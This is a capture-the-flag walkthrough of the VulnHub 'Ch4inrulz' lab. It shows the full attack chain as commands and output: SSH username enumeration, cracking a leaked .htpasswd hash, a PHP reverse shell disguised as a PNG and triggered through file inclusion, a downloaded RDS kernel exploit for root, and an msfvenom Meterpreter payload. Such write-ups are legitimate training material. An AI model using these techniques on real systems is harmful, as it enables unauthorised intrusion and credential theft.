Ch4inrulz Walkthrough

Walkthrough of the Ch4inrulz challenge from vulnhub.


A netdiscover finds the machine. Running a basic nmap scan (command: nmap -A -T4 against it finds a few things of interest.

21/tcp   open  ftp     vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
|   2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_  256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:98:35:25 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36

Key items from the scan:

  • There is a FTP instance running that allows for anonymous login. Anonymous login allows any user to access the service.
  • There is a SSH server running
  • There is a web server running, banner information indicates it belongs to ‘Frank’ with nothing in the robots.txt file (it’s ‘under development’)
  • There is a web type service running on port 8011. The http-server-header matches the port 80 service. This indicates the same instance of Apache is running both services.
  • The server looks to be Linux based running an older kernel (nmap is guessing a 2.6.x version)

Each identified service is then checked for opportunities.

Port 21

Probing FTP doesn’t identify any opportunities to progress. Anonymous FTP access is available but the server has no files to access. Also write access from anonymous FTP is blocked. Searching for vsFTPd 2.3.5 exploits doesn’t identify any of interest.

Connected to
220 (vsFTPd 2.3.5)
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        111          4096 Apr 13  2018 .
drwxr-xr-x    2 0        111          4096 Apr 13  2018 ..
226 Directory send OK.
ftp> put temp
local: temp remote: temp
200 PORT command successful. Consider using PASV.
550 Permission denied.

Port 22

The SSH server is a little more interesting. It supports username and password authentication so a later brute force attempt may be possible. The reported version of OpenSSH is vulnerable to username enumeration (CVE-2018-15473)

Exploit code from is used to test a few usernames. Assumption is the system will have a user root (default user on linux hosts) and user frank (as returned by http-title from the port scan). Guess is that username bob won’t be on the system. Running the exploit code shows the guesswork is correct.

root@kali2019:~/Documents/CHAIN# python frank
[+] frank is a valid username
root@kali2019:~/Documents/CHAIN# python bob
[-] bob is an invalid username
root@kali2019:~/Documents/CHAIN# python root
[+] root is a valid username

Port 80

Port 80 shows a website belonging to Frank Tope.

Running a basic web enumeration scan (command: dirb against it flags two things of interest.

---- Scanning URL: ----
+ (CODE:403|SIZE:291)                                                                                                                                                             
==> DIRECTORY:                                                                                                                                                                        
+ (CODE:401|SIZE:482)                                                                                                                                                          
==> DIRECTORY:                                                                                                                                                                        
+ (CODE:200|SIZE:334)                                                                                                                                                                
+ (CODE:200|SIZE:13516)                                                                                                                                                         
==> DIRECTORY:                                                                                                                                                                         
+ (CODE:200|SIZE:1093)                                                                                                                                                             
+ (CODE:200|SIZE:21)                                                                                                                                                                
+ (CODE:200|SIZE:21)                                                                                                                                                            
+ (CODE:403|SIZE:296)                                                                                                                                                        
  1. There is a /development directory. The scanner was unauthorised (CODE: 401) when attempting to open it. Inspecting the URL directly shows it is using basic HTTP authentication – requires a username & password
  2. The file at is different to the size of the main index.html file. Viewing the file directly shows a remnant of earlier site development work.
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->

A .htpasswd file is used by Apache to password protect web items. Reviewing the hash type format suggests this is  hash type 1600 – Apache $apr1$ MD5, md5apr1, MD5 (APR). Running this hash against hashcat using the rockyou.txt wordlist & best64.rule rules file gives a password of ‘frank!!!‘.

Testing these credentials against the /development directory confirms the credentials are correct. Returned page mentions there is an uploader tool that needs a security review.

A follow-up web enumeration scan (command: dirb -u frank:frank\!\!\!) finds this at

---- Scanning URL: ----
+ (CODE:200|SIZE:144)                                                                                                                                                    
+ (CODE:200|SIZE:144)                                                                                                                                               
==> DIRECTORY:                                                                                                                                                       
---- Entering directory: ----
+ (CODE:200|SIZE:1187)                                                                                                                                          
+ (CODE:200|SIZE:1187)                                                                                                                                     
+ (CODE:200|SIZE:113)                                     

The uploader page provides a typical interface to upload images and a comment ‘TODO : script security “50% FINISHED. A summary of results from testing the upload tool are below.

  • When uploading an image file the site returns: ‘File is an image – image/jpeg.The file profile.jpeg has been uploaded to my uploads path.’
  • When re-uploading the same image the site returns: ‘File is an image – image/jpeg.Sorry, file already exists.Sorry, your file was not uploaded.’
  • When uploading a non image file the site returns: ‘File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.
  • When uploading an image renamed to end in php the site returns: ‘File is an image – image/jpeg.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.’
  • When uploading a non-image renamed to end in jpg the site returns: ‘File is not an image.Sorry, your file was not uploaded.

A review of the results suggests how the upload script is checking files. First the upload script checks if the file extension ends with .jpg / .png or .gif. If not it rejects the file. Secondly the upload script is analysing the file to check if it is an image or not. Given the hint that the security of the page is 50% finished, guess is this is being done looking at magic bytes ( Lastly the upload script checks if the file name already exists.

Taking this into account a PHP reverse shell is customised. PHP is chosen as the base given the site appears to be running Linux / Apache. The stock PHP reverse shell from is used with attacking machines port number and IP set. Lastly the file is renamed to end in png and first few bytes are edited to contain the correct magic bytes.

From reviewing a PNG file as 8 magic bytes. A text editor is used to add 8 ASCII characters to the front of the file (‘/’ were used). A hex editor was then used to replace these with the corresponding magic bytes. The upload script then accepts the customised shell.

In order to trigger the shell the uploads directory needs to be located. Initial guesswork fails so finding this will take a bit of fuzzing. First create a list of likely upload paths. For this purpose, all words containing upload is extracted from a larger wordlist and then run through john the ripper to mutate it.

root@kali2019:~/Documents/CHAIN# grep upload /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt > upload_paths
root@kali2019:~/Documents/CHAIN# wc -l upload_paths
37 upload_paths
root@kali2019:~/Documents/CHAIN# john --wordlist=upload_paths --rules --stdout > mutated_upload_paths
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
970p 0:00:00:00 100.00% (2019-05-26 16:40) 19400p/s Uploadimagesing
root@kali2019:~/Documents/CHAIN# wc -l mutated_upload_paths
970 mutated_upload_paths

Fuzz attempt at when using the wordlist fails:

root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_upload_paths --hc 404 -u

* Wfuzz 2.3.4 - The Web Fuzzer                         *

Total requests: 970

ID   Response   Lines      Word         Chars          Payload    

Total time: 1.143675
Processed Requests: 970
Filtered Requests: 970
Requests/sec.: 848.1426

root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_upload_paths --hc 404 --basic frank:frank\!\!\! -u

* Wfuzz 2.3.4 - The Web Fuzzer                         *

Total requests: 970

ID   Response   Lines      Word         Chars          Payload    

000033:  C=301      9 L	      28 W	    333 Ch	  "uploader"
000401:  C=301      9 L	      28 W	    333 Ch	  "uploader?"

Total time: 1.241181
Processed Requests: 970
Filtered Requests: 968
Requests/sec.: 781.5136

root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_upload_paths --hc 404 --basic frank:frank\!\!\! -u

* Wfuzz 2.3.4 - The Web Fuzzer                         *

Total requests: 970

ID   Response   Lines      Word         Chars          Payload    

000002:  C=200      1 L	      18 W	    113 Ch	  "upload"
000387:  C=200      1 L	      18 W	    113 Ch	  "upload?"

Total time: 1.230362
Processed Requests: 970
Filtered Requests: 968
Requests/sec.: 788.3857

Reviewing the upload messages again the phrase my uploads is noticed. Name on the main site is Frank Tope. A user strings file is created and then run through a standard mutation to get several options.

root@kali2019:~/Documents/CHAIN# cat user_strings
root@kali2019:~/Documents/CHAIN# wc -l user_strings
5 user_strings
root@kali2019:~/Documents/CHAIN# john --wordlist=user_strings --rules --stdout > mutated_user_strings
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
253p 0:00:00:00 100.00% (2019-05-26 16:46) 5060p/s Franktopesing
root@kali2019:~/Documents/CHAIN# wc -l mutated_user_strings
253 mutated_user_strings

Fuzzing attempt is then repeated. After combining both wordlists together the uploads directory is successfully found –

root@kali2019:~/Documents/CHAIN# wfuzz -w mutated_user_strings -w mutated_upload_paths --hc 404 --basic frank:frank\!\!\! -u

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.3.4 - The Web Fuzzer                         *

Total requests: 245410

ID   Response   Lines      Word         Chars          Payload    

036861:  C=301      9 L	      28 W	    346 Ch	  "FRANK - uploads"
036922:  C=301      9 L	      28 W	    346 Ch	  "FRANK - uploads"

The uploaded shell is shown in the uploads directory. It does not trigger however when loaded into the browser. Attempting to download it using curl also doesn’t cause it to trigger. Assumption is either the HTTP service running on port 80 does not have PHP enabled (no PHP files found through web enumeration scans run so far) or is failing to trigger due to the file ending in .php.

Port 8011

Loading port 8011 indicates it is used as a development server. A basic web enumeration scan (command: dirb identifies an API directory.

---- Scanning URL: ----
==> DIRECTORY:                                                                                                                                                                   
+ (CODE:200|SIZE:30)                                                                                                                                                       
+ (CODE:403|SIZE:298)                                                                                                                                                   
---- Entering directory: ----
+ (CODE:200|SIZE:351)                                                                                                                                                  

Loading the API directory index.html file gives the names of a number of files. After manually testing each of them files_api.php is the only found present. Loading the page advises no parameter called file was passed.

Attempting to pass the file parameter via a GET HTTP parameter ( triggers a warning of ********* HACKER DETECTED *********. Sending the data via a HTTP POST parameter works.

root@kali2019:~/Documents/CHAIN# curl -d "file=/etc/passwd"

  <title>franks website | simple website browser API</title>

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false

The password file appears genuine. This is based on it containing the user frank that was identified during SSH username enumeration. Some further manual checks confirms:

  • /var/www points to the webroot (the main index.html file can be fetched using “file=/var/www/index.html”)
  • Attempting to load file values using a RFI syntax doesn’t work (can’t remotely load scripts)

Calling the previously loaded shell via this method (command: curl -d “file=/var/www/development/uploader/FRANKuploads/bobshell.php.png” is able to generate a stable reverse shell.

From an initial review of the machine the user flag is found in the home directory for frank (/home/frank) along with a hint to try and get privilege escalation as fast as you can.

$ ls -al
total 36
drwxr-xr-x 3 frank frank 4096 Apr 14  2018 .
drwxr-xr-x 3 root  root  4096 Apr 13  2018 ..
-rw------- 1 frank frank   26 Jul 31  2018 .bash_history
-rw-r--r-- 1 frank frank  220 Apr 13  2018 .bash_logout
-rw-r--r-- 1 frank frank 3353 Apr 13  2018 .bashrc
drwxr-xr-x 2 frank frank 4096 Apr 13  2018 .cache
-rw-r--r-- 1 frank frank  675 Apr 13  2018 .profile
-rw-r--r-- 1 frank frank    0 Apr 13  2018 .sudo_as_admin_successful
-rw-r--r-- 1 frank frank   29 Apr 14  2018 PE.txt
-rw-r--r-- 1 frank frank   33 Apr 14  2018 user.txt
$ cat user.txt
$ cat PE.txt
Try it as fast as you can ;)

As a fast way for privilege escalation a kernel exploit is tried. Checking the version against the Linux exploit suggester (command: -k 2.6.35) identifies a number of candidates.

Kernel local: 2.6.35

Possible Exploits:
[+] can_bcm
[+] half_nelson
   Alt: econet    CVE-2010-3848
[+] caps_to_root
[+] pktcdvd
[+] half_nelson3
   Alt: econet    CVE-2010-4073
[+] half_nelson1
   Alt: econet    CVE-2010-3848
[+] american-sign-language
[+] rds
[+] half_nelson2
   Alt: econet    CVE-2010-3850

After reviewing the listed exploits and trialling a few success is had with rds

$ python -c 'import pty; pty.spawn("/bin/sh")'
$ wget -O 15285.c
wget -O 15285.c
--2019-06-01 02:19:56--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 7155 (7.0K) [text/plain]
Saving to: `15285.c'

100%[======================================>] 7,155       --.-K/s   in 0s      

2019-06-01 02:19:56 (744 MB/s) - `15285.c' saved [7155/7155]

$ gcc 15285.c -o exploit
gcc 15285.c -o exploit
$ ./exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xffffffff81ce8df0
 [+] Resolved default_security_ops to 0xffffffff81a523e0
 [+] Resolved cap_ptrace_traceme to 0xffffffff8125db60
 [+] Resolved commit_creds to 0xffffffff810852b0
 [+] Resolved prepare_kernel_cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# ls
# cat root.txt
cat root.txt

Post Exploitation

Password hashes are extracted and cracking of these is attempted (output is amended to remove users that don’t have a hash listed). Attempts at cracking this hash using a wordlist are not successful.

# cat /etc/shadow
cat /etc/shadow

Checking the access.log file for the HTTP server shows some interesting IPs. Assume the 192.168.209.x addresses were from when the challenge was setup:

# cat access.log | cut -d " " -f 1 | sort -u
cat access.log | cut -d " " -f 1 | sort -u

Alternative Way – Metasploit

Metasploit can be used instead of the stock PHP shell and manual exploitation. First a reverse shell is made using msfvenom (command: msfvenom –payload php/meterpreter/reverse_tcp LHOST= LPORT=5601 -f raw -o bob_met.php.png)

[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1116 bytes
Saved as: bob_met.php.png

File is then amended & manually edited to introduce the correct magic bytes. File is then uploaded using the upload page. An exploit multi handler needs to be setup on the attacking box to catch the return shell.

Shell is then triggered using the API call. This establishes a stable Meterpreter shell.

System is then scanned for local suggested exploits. RDS is identified as the suitable exploit, running it via Metasploit yields a root shell:

Leave a Reply